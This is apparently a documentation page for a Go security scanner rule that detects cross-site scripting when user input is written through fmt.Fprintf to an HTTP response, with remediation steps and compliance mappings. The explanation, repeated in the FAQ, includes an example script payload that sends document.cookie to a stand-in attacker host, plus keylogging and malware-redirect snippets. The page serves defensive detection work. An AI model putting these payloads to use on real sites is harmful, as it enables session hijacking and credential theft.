XSS via fmt.Fprintf to http.ResponseWriter

HIGH

User input flows into fmt.Fprintf/Fprintln/Fprint writing directly to ResponseWriter — fmt functions perform no HTML escaping, any user-controlled format argument renders as raw HTML in the browser.

Rule Information

Language
Go
Category
Security
Author
Shivasurya
Shivasurya
Last Updated
2026-04-13
Tags
gosecurityxssresponsewriterfmtreflected-xssCWE-79CWE-116OWASP-A03
CWE References

Interactive Playground

Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.

pathfinder scan --ruleset golang/GO-XSS-002 --project .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
rule.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Cross-file analysis: 3 files

About This Rule

Understanding the vulnerability and how it is detected

`fmt.Fprintf`, `fmt.Fprintln`, and `fmt.Fprint` write raw bytes to any `io.Writer`, including `http.ResponseWriter`. Unlike `html/template`, these functions perform **zero HTML escaping** — every character in the format arguments reaches the browser exactly as provided. When user-controlled data flows into these calls without prior escaping, attackers inject arbitrary HTML and JavaScript into the response.

**Why fmt.Fprintf is particularly dangerous**: The Go standard library's deliberate division of responsibilities places HTML escaping in `html/template` and leaves `fmt` as a raw byte writer. Developers accustomed to server-side templating in other languages may not realize that `fmt.Fprintf(w, "<p>%s</p>", userInput)` is equivalent to `w.Write([]byte("<p>" + userInput + "</p>"))` — both write unescaped bytes.

**XSS attack surface via fmt.Fprintf**: - "**Format string injection**: `fmt.Fprintf(w, userInput)` — if the user controls the format" string itself, `%!` verbs can cause unexpected behavior; HTML tags execute directly. - "**Format argument injection**: `fmt.Fprintf(w, \"<p>Hello %s</p>\", name)` — attacker sets" `name` to `<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>`. - "**Chained template fragments**: Building HTML by concatenating `fmt.Sprintf` results and" later writing the assembled string to the response — taint survives across the intermediate variable. - "**JSON responses with incorrect Content-Type**: `fmt.Fprintf(w, `{\"user\":\"%s\"}`, username)`" without setting `Content-Type: application/json` — browsers sniff the content and may render it as HTML if the response starts with `<`.

**Content-Type sniffing**: Go's `net/http` calls `http.DetectContentType()` on the first 512 bytes of the response body if no explicit `Content-Type` header is set. A response starting with `{` or `[` gets `text/plain; charset=utf-8`; starting with `<` gets `text/html; charset=utf-8`. Setting the correct Content-Type header is a mitigation layer, but browsers with MIME type sniffing enabled (or `X-Content-Type-Options: nosniff` missing) may still execute injected scripts in `text/plain` responses when served inline.

**Reflected vs. Stored XSS via fmt.Fprintf**: - "**Reflected**: The injected value comes from the current request (query param, form field," URL segment) and is immediately written to the response. The attacker crafts a malicious URL and tricks the victim into clicking it. - "**Stored**: The value was previously stored in a database and is now retrieved and written" with `fmt.Fprintf`. All visitors to the page receive the attack payload. Taint analysis must track the dataflow through the database query and result scanning.

**Impact of XSS**: - Session hijacking via `document.cookie` theft (if `HttpOnly` flag is absent) - Keylogging by injecting `<script>document.onkeydown=function(e){...}</script>` - DOM manipulation to insert phishing content on a trusted domain - Browser-based cryptomining or botnet participation - Redirection to drive-by download pages via `window.location = "https://malware.example"`

**Go-specific remediation path**: `html/template` is the authoritative solution — it performs context-aware escaping based on where the value appears (HTML body, attribute, URL, JavaScript string, CSS). `html.EscapeString()` handles the HTML body context but does not protect attribute values containing JavaScript event handlers or `href="javascript:..."` patterns.

Security Implications

Potential attack scenarios if this vulnerability is exploited

1

Session Hijacking via Cookie Theft

XSS payloads using `document.cookie` can exfiltrate session tokens to attacker infrastructure. Any session cookie without the `HttpOnly` flag is vulnerable. Even HttpOnly cookies can be bypassed by XSS that makes authenticated requests directly from the victim's browser (CSRF-style XSS exploitation).

2

Credential Harvesting on Trusted Domain

Injected HTML replaces login form `action` attributes or overlays the page with a pixel-perfect phishing form hosted on the legitimate domain. Victims see the correct domain in the address bar and trust the form. All submitted credentials go to the attacker's endpoint.

3

Persistent XSS in Stored Data Flows

When `fmt.Fprintf` writes values retrieved from a database, the XSS becomes stored (persistent). Every user who loads the page receives the payload. A single stored XSS in an admin interface can escalate to full account takeover for all administrators.

4

Cross-Origin Data Exfiltration

XSS executing in a privileged origin can use `fetch()` to read internal resources, extract CSRF tokens from other pages, and probe internal network endpoints via the victim's browser — bypassing firewall rules that allow the browser but not external IPs.

How to Fix

Recommended remediation steps

  • 1Replace all fmt.Fprintf/Fprintln/Fprint to ResponseWriter with html/template.Execute().
  • 2If fmt.Fprintf is required (e.g., simple error pages), wrap every user value with html.EscapeString().
  • 3Always set Content-Type: text/html; charset=utf-8 explicitly — do not rely on auto-detection.
  • 4Add X-Content-Type-Options: nosniff header to all responses to prevent MIME sniffing.
  • 5Implement Content Security Policy (CSP) as defense-in-depth — script-src 'self' blocks injected inline scripts.
  • 6Never pass user input as the format string argument (first argument) to fmt.Fprintf.
  • 7Pre-compile html/template instances at startup; template.Must() panics on parse errors at startup rather than runtime.
  • 8For JSON APIs, use encoding/json — it HTML-escapes <, >, and & characters by default.

Detection Scope

How Code Pathfinder analyzes your code for this vulnerability

Tracks taint from HTTP request sources (net/http.Request, gin.Context, echo.Context, fiber.Ctx) to fmt.Fprintf, fmt.Fprintln, and fmt.Fprint calls where the first argument is an http.ResponseWriter. Global inter-procedural scope.

Compliance & Standards

Industry frameworks and regulations that require detection of this vulnerability

OWASP Top 10
A03:2021 — Injection (XSS is a subset of injection per OWASP 2021 reclassification)
CWE Top 25 (2024)
CWE-79 — Cross-site Scripting (ranked #2 in CWE Top 25 2024)
PCI DSS v4.0
Requirement 6.2.4 — Protect web-facing applications against injection attacks including XSS. XSS is explicitly listed as a targeted attack type.
NIST SP 800-53 Rev 5
SI-10 — Information Input Validation; SI-15 — Information Output Filtering
HIPAA Security Rule
§164.312(a)(1) — Access Control; XSS can bypass access controls via session hijacking

References

External resources and documentation

Similar Rules

Explore related security rules for Go

Frequently Asked Questions

Common questions about XSS via fmt.Fprintf to http.ResponseWriter

`fmt.Fprintf`, `fmt.Fprintln`, and `fmt.Fprint` write raw bytes to any `io.Writer`, including `http.ResponseWriter`. Unlike `html/template`, these functions perform **zero HTML escaping** — every character in the format arguments reaches the browser exactly as provided. When user-controlled data flows into these calls without prior escaping, attackers inject arbitrary HTML and JavaScript into the response. **Why fmt.Fprintf is particularly dangerous**: The Go standard library's deliberate division of responsibilities places HTML escaping in `html/template` and leaves `fmt` as a raw byte writer. Developers accustomed to server-side templating in other languages may not realize that `fmt.Fprintf(w, "<p>%s</p>", userInput)` is equivalent to `w.Write([]byte("<p>" + userInput + "</p>"))` — both write unescaped bytes. **XSS attack surface via fmt.Fprintf**: - "**Format string injection**: `fmt.Fprintf(w, userInput)` — if the user controls the format" string itself, `%!` verbs can cause unexpected behavior; HTML tags execute directly. - "**Format argument injection**: `fmt.Fprintf(w, \"<p>Hello %s</p>\", name)` — attacker sets" `name` to `<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>`. - "**Chained template fragments**: Building HTML by concatenating `fmt.Sprintf` results and" later writing the assembled string to the response — taint survives across the intermediate variable. - "**JSON responses with incorrect Content-Type**: `fmt.Fprintf(w, `{\"user\":\"%s\"}`, username)`" without setting `Content-Type: application/json` — browsers sniff the content and may render it as HTML if the response starts with `<`. **Content-Type sniffing**: Go's `net/http` calls `http.DetectContentType()` on the first 512 bytes of the response body if no explicit `Content-Type` header is set. A response starting with `{` or `[` gets `text/plain; charset=utf-8`; starting with `<` gets `text/html; charset=utf-8`. Setting the correct Content-Type header is a mitigation layer, but browsers with MIME type sniffing enabled (or `X-Content-Type-Options: nosniff` missing) may still execute injected scripts in `text/plain` responses when served inline. **Reflected vs. Stored XSS via fmt.Fprintf**: - "**Reflected**: The injected value comes from the current request (query param, form field," URL segment) and is immediately written to the response. The attacker crafts a malicious URL and tricks the victim into clicking it. - "**Stored**: The value was previously stored in a database and is now retrieved and written" with `fmt.Fprintf`. All visitors to the page receive the attack payload. Taint analysis must track the dataflow through the database query and result scanning. **Impact of XSS**: - Session hijacking via `document.cookie` theft (if `HttpOnly` flag is absent) - Keylogging by injecting `<script>document.onkeydown=function(e){...}</script>` - DOM manipulation to insert phishing content on a trusted domain - Browser-based cryptomining or botnet participation - Redirection to drive-by download pages via `window.location = "https://malware.example"` **Go-specific remediation path**: `html/template` is the authoritative solution — it performs context-aware escaping based on where the value appears (HTML body, attribute, URL, JavaScript string, CSS). `html.EscapeString()` handles the HTML body context but does not protect attribute values containing JavaScript event handlers or `href="javascript:..."` patterns.
Use Code Pathfinder to scan your codebase: pathfinder scan --ruleset golang/GO-XSS-002 --project .
This vulnerability is rated as HIGH severity.
Yes! Code Pathfinder allows you to customize rules. Modify detection patterns, adjust severity levels, add custom sanitizers, and configure the rule to fit your organization's security policies.

New feature

Get these findings posted directly on your GitHub pull requests

The XSS via fmt.Fprintf to http.ResponseWriter rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.

See how it works